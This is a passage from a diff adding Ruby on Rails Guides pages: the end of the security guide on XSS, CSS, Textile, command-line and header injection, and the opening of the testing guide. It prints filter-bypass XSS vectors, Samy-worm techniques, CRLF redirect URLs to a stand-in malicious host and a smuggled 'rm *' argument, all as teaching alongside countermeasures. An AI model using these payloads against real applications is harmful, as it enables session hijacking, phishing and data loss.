+<h6 id="html-injection-countermeasures">8.3.2.3 Countermeasures</h6>
+<p><em class="highlight">It is very important to filter malicious input, but it is also important to escape the output of the web application</em>.</p>
+<p>Especially for <span class="caps">XSS</span>, it is important to do <em class="highlight">whitelist input filtering instead of blacklist</em>. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.</p>
+<p>Imagine a blacklist deletes โ€œscriptโ€ from the user input. Now the attacker injects โ€œ&lt;scrscriptipt&gt;โ€, and after the filter, โ€œ&lt;script&gt;โ€ remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+strip_tags(&quot;some&lt;&lt;b&gt;script&gt;alert('hello')&lt;&lt;/b&gt;/script&gt;&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>This returned &#8220;some&lt;script&gt;alert(&#8216;hello&#8217;)&lt;/script&gt;&#8221;, which makes an attack work. That&#8217;s why I vote for a whitelist approach, using the updated Rails 2 method sanitize():</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, :tags =&gt; tags, :attributes =&gt; %w(href title))
+</pre>
+</div>
+</notextile>
+
+<p>This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.</p>
+<p>As a second step, <em class="highlight">it is good practice to escape all output of the application</em>, especially when re-displaying user input, which hasn&#8217;t been input-filtered (as in the search form example earlier on). <em class="highlight">Use <tt>escapeHTML()</tt> (or its alias <tt>h()</tt>) method</em> to replace the <span class="caps">HTML</span> input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in <span class="caps">HTML</span> (<tt>&amp;amp;</tt>, <tt>&amp;quot;</tt>, <tt>&amp;lt</tt>;, and <tt>&amp;gt;</tt>). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the <a href="http://safe-erb.rubyforge.org/svn/plugins/safe_erb/">SafeErb</a> plugin</em>. SafeErb reminds you to escape strings from external sources.</p>
+<h6 id="obfuscation-and-encoding-injection">8.3.2.4 Obfuscation and Encoding Injection</h6>
+<p>Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in <span class="caps">UTF</span>-8 encoding:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;
+  &amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus โ€œget to know your enemyโ€, is the <a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php">Hackvertor</a>. Railsโ€˜ sanitize() method does a good job to fend off encoding attacks.</p>
+<h5 id="examples-from-the-underground">8.3.3 Examples from the Underground</h5>
+<p><em>In order to understand today&#8217;s attacks on web applications, it&#8217;s best to take a look at some real-world attack vectors.</em></p>
+<p>The following is an excerpt from the <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&amp;tabid=1">Js.Yamanner@m</a> Yahoo! Mail <a href="http://groovin.net/stuff/yammer.txt">worm</a>. It appeared on June 11, 2006 and was the first webmail interface worm:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+  target=&quot;&quot;onload=&quot;var http_request = false;    var Email = '';
+  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
+</pre>
+</div>
+</notextile>
+
+<p>The worms exploits a hole in Yahoo&#8217;s <span class="caps">HTML</span>/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow <span class="caps">HTML</span>/JavaScript in a web application.</p>
+<p>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on <a href="http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/">Rosario Valotta&#8217;s paper</a>. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.</p>
+<p>In December 2006, 34,000 actual user names and passwords were stolen in a <a href="http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">MySpace phishing attack</a>. The idea of the attack was to create a profile page named โ€œlogin_home_index_htmlโ€, so the <span class="caps">URL</span> looked very convincing. Specially-crafted <span class="caps">HTML</span> and <span class="caps">CSS</span> was used to hide the genuine MySpace content from the page and instead display its own login form.</p>
+<p>The MySpace Samy worm will be discussed in the <span class="caps">CSS</span> Injection section.</p>
+<h4 id="css-injection">8.4 <span class="caps">CSS</span> Injection</h4>
+<p>&#8212; <em><span class="caps">CSS</span> Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in <span class="caps">CSS</span>. Think twice about allowing custom <span class="caps">CSS</span> in your web application.</em></p>
+<p><span class="caps">CSS</span> Injection is explained best by a well-known worm, the <a href="http://namb.la/popular/tech.html">MySpace Samy worm</a>. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.</p>
+<p>MySpace blocks many tags, however it allows <span class="caps">CSS</span>. So the worm&#8217;s author put JavaScript into <span class="caps">CSS</span> like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;div style=&quot;background:url('javascript:alert(1)')&quot;&gt;
+</pre>
+</div>
+</notextile>
+
+<p>So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;div id=&quot;mycode&quot; expr=&quot;alert('hah!')&quot; style=&quot;background:url('javascript:eval(document.all.mycode.expr)')&quot;&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word โ€œinnerHTMLโ€:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+alert(eval('document.body.inne' + 'rHTML'));
+</pre>
+</div>
+</notextile>
+
+<p>The next problem was MySpace filtering the word โ€œjavascriptโ€, so the author used โ€œjava&lt;<span class="caps">NEWLINE</span>&gt;script&quot; to get around this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;div id=&quot;mycode&quot; expr=&quot;alert('hah!')&quot; style=&quot;background:url('javaโ†ตโ€จscript:eval(document.all.mycode.expr)')&quot;&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Another problem for the worm&#8217;s author were <span class="caps">CSRF</span> security tokens. Without them he couldn&#8217;t send a friend request over <span class="caps">POST</span>. He got around it by sending a <span class="caps">GET</span> to the page right before adding a user and parsing the result for the <span class="caps">CSRF</span> token.</p>
+<p>In the end, he got a 4 KB worm, which he injected into his profile page.</p>
+<p>The <a href="http://www.securiteam.com/securitynews/5LP051FHPE.html">moz-binding</a> <span class="caps">CSS</span> property proved to be another way to introduce JavaScript in <span class="caps">CSS</span> in Gecko-based browsers (Firefox, for example).</p>
+<h5 id="css-injection-countermeasures">8.4.1 Countermeasures</h5>
+<p>This example, again, showed that a blacklist filter is never complete. However, as custom <span class="caps">CSS</span> in web applications is a quite rare feature, I am not aware of a whitelist <span class="caps">CSS</span> filter. <em class="highlight">If you want to allow custom colours or images, you can allow the user to choose them and build the <span class="caps">CSS</span> in the web application</em>. Use Rails&#8217; <tt>sanitize()</tt> method as a model for a whitelist <span class="caps">CSS</span> filter, if you really need one.</p>
+<h4 id="textile-injection">8.5 Textile Injection</h4>
+<p>&#8212; <em>If you want to provide text formatting other than <span class="caps">HTML</span> (due to security), use a mark-up language which is converted to <span class="caps">HTML</span> on the server-side. <a href="http://redcloth.org/">RedCloth</a> is such a language for Ruby, but without precautions, it is also vulnerable to <span class="caps">XSS</span>.</em></p>
+<p>For example, RedCloth translates <tt>_test_</tt> to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to <span class="caps">XSS</span>. Get the <a href="http://www.redcloth.org">all-new version 4</a> that removed serious bugs. However, even that version has <a href="http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html">some security bugs</a>, so the countermeasures still apply. Here is an example for version 3.0.4:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;').to_html
+# =&gt; &quot;&lt;script&gt;alert(1)&lt;/script&gt;&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Use the :filter_html option to remove <span class="caps">HTML</span> which was not created by the Textile processor.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;', [:filter_html]).to_html
+# =&gt; &quot;alert(1)&quot;
+</pre>
+</div>
+</notextile>
+
+<p>However, this does not filter all <span class="caps">HTML</span>, a few tags will be left (by design), for example &lt;a&gt;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+RedCloth.new(&quot;&lt;a href='javascript:alert(1)'&gt;hello&lt;/a&gt;&quot;, [:filter_html]).to_html
+# =&gt; &quot;&lt;p&gt;&lt;a href=&quot;javascript:alert(1)&quot;&gt;hello&lt;/a&gt;&lt;/p&gt;&quot;
+</pre>
+</div>
+</notextile>
+
+<h5 id="textile-injection-countermeasures">8.5.1 Countermeasures</h5>
+<p>It is recommended to <em class="highlight">use RedCloth in combination with a whitelist input filter</em>, as described in the countermeasures against <span class="caps">XSS</span> section.</p>
+<h4 id="ajax-injection">8.6 Ajax Injection</h4>
+<p>&#8212; <em>The same security precautions have to be taken for Ajax actions as for โ€œnormalโ€ ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn&#8217;t render a view.</em></p>
+<p>If you use the <a href="http://dev.rubyonrails.org/browser/plugins/in_place_editing">in_place_editor plugin</a>, or actions that return a string, rather than rendering a view, <em class="highlight">you have to escape the return value in the action</em>. Otherwise, if the return value contains a <span class="caps">XSS</span> string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.</p>
+<h4 id="rjs-injection">8.7 <span class="caps">RJS</span> Injection</h4>
+<p>&#8212; <em>Don&#8217;t forget to escape in JavaScript (<span class="caps">RJS</span>) templates, too.</em></p>
+<p>The <span class="caps">RJS</span> <span class="caps">API</span> generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <em class="highlight">If you allow user input in <span class="caps">RJS</span> templates, do escape it using <tt>escape_javascript()</tt> within JavaScript functions, and in <span class="caps">HTML</span> parts using <tt>h()</tt></em>. Otherwise an attacker could execute arbitrary JavaScript.</p>
+<h4 id="command-line-injection">8.8 Command Line Injection</h4>
+<p>&#8212; <em>Use user-supplied command line parameters with caution.</em></p>
+<p>If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).</p>
+<p>A countermeasure is to <em class="highlight">use the <tt>system(command, parameters)</tt> method which passes command line parameters safely</em>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+system(&quot;/bin/echo&quot;,&quot;hello; rm *&quot;)
+# prints &quot;hello; rm *&quot; and does not delete files
+</pre>
+</div>
+</notextile>
+
+<h4 id="header-injection">8.9 Header Injection</h4>
+<p>&#8212; <em><span class="caps">HTTP</span> headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, <span class="caps">XSS</span> or <span class="caps">HTTP</span> response splitting.</em></p>
+<p><span class="caps">HTTP</span> request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target <span class="caps">URL</span>) field. All of them are user-supplied and may be manipulated with more or less effort. <em class="highlight">Remember to escape these header fields, too.</em> For example when you display the user agent in an administration area.</p>
+<p>Besides that, it is <em class="highlight">important to know what you are doing when building response headers partly based on user input.</em> For example you want to redirect the user back to a specific page. To do that you introduced a โ€œrefererโ€œ field in a form to redirect to the given address:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+redirect_to params[:referer]
+</pre>
+</div>
+</notextile>
+
+<p>What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
+</pre>
+</div>
+</notextile>
+
+<p>And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
+http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
+</pre>
+</div>
+</notextile>
+
+<p>Note that &#8220;%0d%0a&#8221; is <span class="caps">URL</span>-encoded for &#8220;\r\n&#8221; which is a carriage-return and line-feed (<span class="caps">CRLF</span>) in Ruby. So the resulting <span class="caps">HTTP</span> header for the second example will be the following because the second Location header field overwrites the first.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld
+</pre>
+</div>
+</notextile>
+
+<p>So <em class="highlight">attack vectors for Header Injection are based on the injection of <span class="caps">CRLF</span> characters in a header field.</em> And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the <tt>redirect_to</tt> method. <em class="highlight">Make sure you do it yourself when you build other header fields with user input.</em></p>
+<h5 id="response-splitting">8.9.1 Response Splitting</h5>
+<p>If Header Injection was possible, Response Splitting might be, too. In <span class="caps">HTTP</span>, the header block is followed by two CRLFs and the actual data (usually <span class="caps">HTML</span>). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious <span class="caps">HTML</span>. The response will be:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:โ€จContent-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+&amp;lt;html&amp;gt;&amp;lt;font color=red&amp;gt;hey&amp;lt;/font&amp;gt;&amp;lt;/html&amp;gt; [Arbitary malicious input is
+Keep-Alive: timeout=15, max=100         shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html
+</pre>
+</div>
+</notextile>
+
+<p>Under certain circumstances this would present the malicious <span class="caps">HTML</span> to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can&#8217;t rely on this. <em class="highlight">In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.</em></p>
+<h3 id="additional-resources">9 Additional Resources</h3>
+<p>The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:</p>
+<ul>
+	<li>The Ruby on Rails security project posts security news regularly: <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a></li>
+	<li>Subscribe to the Rails security <a href="http://groups.google.com/group/rubyonrails-security">mailing list</a></li>
+	<li><a href="http://secunia.com/">Keep up to date on the other application layers</a> (they have a weekly newsletter, too)</li>
+	<li>A <a href="http://ha.ckers.org/blog/">good security blog</a> including the <a href="http://ha.ckers.org/xss.html">Cross-Site scripting Cheat Sheet</a></li>
+</ul>
+<h3 id="changelog">10 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7">Lighthouse ticket</a></p>
+<ul>
+	<li>November 1, 2008: First approved version by Heiko Webers</li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/testing.html
@@ -0,0 +1,1288 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: A Guide to Testing Rails Applications</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>A Guide to Testing Rails Applications</h2>
+<p>This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:</p>
+<ul>
+	<li>Understand Rails testing terminology</li>
+	<li>Write unit, functional and integration tests for your application</li>
+	<li>Identify other popular testing approaches and plugins</li>
+</ul>
+<p>This guide won&#8217;t teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#why-write-tests-for-your-rails-applications">Why Write Tests for your Rails Applications?</a></li><li><a href="#introduction-to-testing">Introduction to Testing</a><ul><li><a href="#the-three-environments">The Three Environments</a></li> <li><a href="#rails-sets-up-for-testing-from-the-word-go">Rails Sets up for Testing from the Word Go</a></li> <li><a href="#the-low-down-on-fixtures">The Low-Down on Fixtures</a></li></ul></li><li><a href="#unit-testing-your-models">Unit Testing your Models</a><ul><li><a href="#preparing-your-application-for-testing">Preparing your Application for Testing</a></li> <li><a href="#running-tests">Running Tests</a></li> <li><a href="#what-to-include-in-your-unit-tests">What to Include in Your Unit Tests</a></li> <li><a href="#assertions-available">Assertions Available</a></li> <li><a href="#rails-specific-assertions">Rails Specific Assertions</a></li></ul></li><li><a href="#functional-tests-for-your-controllers">Functional Tests for Your Controllers</a><ul><li><a href="#what-to-include-in-your-functional-tests">What to Include in your Functional Tests</a></li> <li><a href="#available-request-types-for-functional-tests">Available Request Types for Functional Tests</a></li> <li><a href="#the-four-hashes-of-the-apocalypse">The Four Hashes of the Apocalypse</a></li> <li><a href="#instance-variables-available">Instance Variables Available</a></li> <li><a href="#a-fuller-functional-test-example">A Fuller Functional Test Example</a></li> <li><a href="#testing-views">Testing Views</a></li></ul></li><li><a href="#integration-testing">Integration Testing</a><ul><li><a href="#helpers-available-for-integration-tests">Helpers Available for Integration Tests</a></li> <li><a href="#integration-testing-examples">Integration Testing Examples</a></li></ul></li><li><a href="#rake-tasks-for-running-your-tests">Rake Tasks for Running your Tests</a></li><li><a href="#brief-note-about-test-unit">Brief Note About <tt>Test::Unit</tt></a></li><li><a href="#setup-and-teardown">Setup and Teardown</a></li><li><a href="#testing-routes">Testing Routes</a></li><li><a href="#testing-your-mailers">Testing Your Mailers</a><ul><li><a href="#keeping-the-postman-in-check">Keeping the Postman in Check</a></li> <li><a href="#unit-testing">Unit Testing</a></li> <li><a href="#functional-testing">Functional Testing</a></li></ul></li><li><a href="#other-testing-approaches">Other Testing Approaches</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="why-write-tests-for-your-rails-applications">1 Why Write Tests for your Rails Applications?</h3>
+<ul>
+	<li>Rails makes it super easy to write your tests. It starts by producing skeleton test code in the background while you are creating your models and controllers.</li>
+	<li>By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.</li>
+	<li>Rails tests can also simulate browser requests and thus you can test your application&#8217;s response without having to test it through your browser.</li>
+</ul>
+<h3 id="introduction-to-testing">2 Introduction to Testing</h3>
+<p>Testing support was woven into the Rails fabric from the beginning. It wasn&#8217;t an &#8220;oh! let&#8217;s bolt on support for running tests because they&#8217;re new and cool&#8221; epiphany. Just about every Rails application interacts heavily with a database &#8211; and, as a result, your tests will need a database to interact with as well. To write efficient tests, you&#8217;ll need to understand how to set up this database and populate it with sample data.</p>
+<h4 id="the-three-environments">2.1 The Three Environments</h4>
+<p>Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.</p>
+<p>One place you&#8217;ll find this distinction is in the <tt>config/database.yml</tt> file. This <span class="caps">YAML</span> configuration file has 3 different sections defining 3 unique database setups:</p>
+<ul>
+	<li>production</li>
+	<li>development</li>
+	<li>test</li>
+</ul>
+<p>This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.</p>
+<p>For example, suppose you need to test your new <tt>delete_this_user_and_every_everything_associated_with_it</tt> function. Wouldn&#8217;t you want to run this in an environment where it makes no difference if you destroy data or not?</p>
+<p>When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running <tt>rake db:test:prepare</tt>.</p>
+<h4 id="rails-sets-up-for-testing-from-the-word-go">2.2 Rails Sets up for Testing from the Word Go</h4>
+<p>Rails creates a <tt>test</tt> folder for you as soon as you create a Rails project using <tt>rails _application_name_</tt>. If you list the contents of this folder then you shall see:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ ls -F test/
+
+fixtures/       functional/     integration/    test_helper.rb  unit/
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>unit</tt> folder is meant to hold tests for your models, the <tt>functional</tt> folder is meant to hold tests for your controllers, and the <tt>integration</tt> folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the <tt>fixtures</tt> folder. The <tt>test_helper.rb</tt> file holds the default configuration for your tests.</p>
+<h4 id="the-low-down-on-fixtures">2.3 The Low-Down on Fixtures</h4>
+<p>For good tests, you&#8217;ll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.</p>
+<h5 id="what-are-fixtures">2.3.1 What are Fixtures?</h5>
+<p><em>Fixtures</em> is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: <strong><span class="caps">YAML</span></strong> or <strong><span class="caps">CSV</span></strong>. In this guide, we will use <strong><span class="caps">YAML</span></strong>, which is the preferred format.</p>
+<p>You&#8217;ll find fixtures under your <tt>test/fixtures</tt> directory. When you run <tt>rails generate model</tt> to create a new model, fixture stubs will be automatically created and placed in this directory.</p>
+<h5 id="yaml">2.3.2 <span class="caps">YAML</span></h5>
+<p><span class="caps">YAML</span>-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the <strong>.yml</strong> file extension (as in <tt>users.yml</tt>).</p>
+<p>Here&#8217;s a sample <span class="caps">YAML</span> fixture file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+# lo &amp; behold!  I am a YAML comment!
+david:
+ name: David Heinemeier Hansson
+ birthday: 1979-10-15
+ profession: Systems development
+
+steve:
+ name: Steve Ross Kellock
+ birthday: 1974-09-27
+ profession: guy with keyboard
+</pre>
+</div>
+</notextile>
+
+<p>Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.</p>
+<h5 id="erb-in-it-up">2.3.3 ERb&#8217;in It Up</h5>
+<p>ERb allows you embed ruby code within templates. Both the <span class="caps">YAML</span> and <span class="caps">CSV</span> fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;% earth_size = 20 %&gt;
+mercury:
+  size: &lt;%= earth_size / 50 %&gt;
+  brightest_on: &lt;%= 113.days.ago.to_s(:db) %&gt;
+
+venus:
+  size: &lt;%= earth_size / 2 %&gt;
